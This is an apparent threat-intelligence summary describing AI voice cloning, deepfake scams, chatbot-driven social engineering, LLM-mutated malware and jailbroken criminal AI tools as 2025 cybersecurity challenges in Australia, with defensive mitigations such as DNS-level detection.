Full Report
AI cloning and deepfakes rank among the top challenges for Australian cybersecurity professionals in 2025.
Analysis Summary
# Main Topic
AI-driven threats, specifically cloning and deepfakes, are identified as top cybersecurity challenges for Australian professionals in 2025, driven by the increasing accessibility and sophistication of generative AI tools.
## Key Points
- AI will be used to diversify tactics and scale the volume of cyberattacks across Australia.
- **AI Cloning:** Adversaries are using generative AI to create synthetic, realistic audio voices, often trained on publicly available interviews, to facilitate financial fraud.
- **AI Deepfakes:** Convincing fake videos are being used, often involving high-profile individuals, to lure victims into cryptocurrency scams or other malicious activities.
- AI-powered chatbots are being integrated into complex social engineering schemes, sometimes following initial SMS contact, to build trust and gain access to assets like crypto wallets.
- AI-enhanced malware creation allows threat actors to use Large Language Models (LLMs) to automatically mutate and rewrite existing malware code to bypass security controls.
- "Jailbroken" or "dark" AI models (e.g., FraudGPT, WormGPT, DarkBERT) are available, often for low monthly fees, allowing threat actors to generate malicious content without ethical safeguards.
## Threat Actors
- Threat actors have increased access to AI tools and techniques, leading to anticipated increases in attack frequency and sophistication.
- No specific named threat groups are attributed in the context provided, but the attackers utilize readily available generative AI capabilities.
## TTPs
- **AI Cloning:** Creating synthetic audio mimicking real individuals for fraud.
- **Deepfake Generation:** Creating realistic fake videos for social engineering and scams.
- **Social Engineering via Chatbots:** Deploying AI conversational agents to build rapport with targets incrementally.
- **Malware Obfuscation:** Using LLMs to rewrite and mutate malware code (e.g., JavaScript frameworks) by renaming variables or inserting/removing code to defeat static detection (evasion).
- **Bypassing Security Controls:** Utilizing purpose-built jailbroken AI models (e.g., FraudGPT) to generate phishing pages or emails on demand.
- **Infrastructure:** Deepfakes have been linked to directing victims via QR codes in fraudulent videos posted on platforms like YouTube toward malicious cryptocurrency sites.
## Affected Systems
- Organizations across Australia are being targeted.
- Security detection relies on monitoring file hashes and traditional tactical indicators, which are predicted to become less effective (ephemeral).
- Cryptocurrency wallets and financial systems are explicitly mentioned as targets of fraud facilitated by AI techniques.
## Mitigations
- Detect criminals earlier in their workflow, potentially at the **DNS level**, to gather intelligence before escalations occur.
- Be aware that traditional detection capabilities (e.g., file hash analysis) may see reduced effectiveness due to AI-enhanced malware mutation.
- Organizations should look for warning signs in chatbot interactions, such as repeating answers or inconsistent language, to spot AI-assisted scams.
## Conclusion
AI cloning and deepfakes represent material threats heading into 2025, demanding a significant adaptation in defensive strategies. The move toward AI-obfuscated malware and specialized jailbroken tools requires security teams to pivot surveillance methods toward behavioral analysis and infrastructure monitoring (such as DNS-level detection) rather than relying solely on traditional static indicators.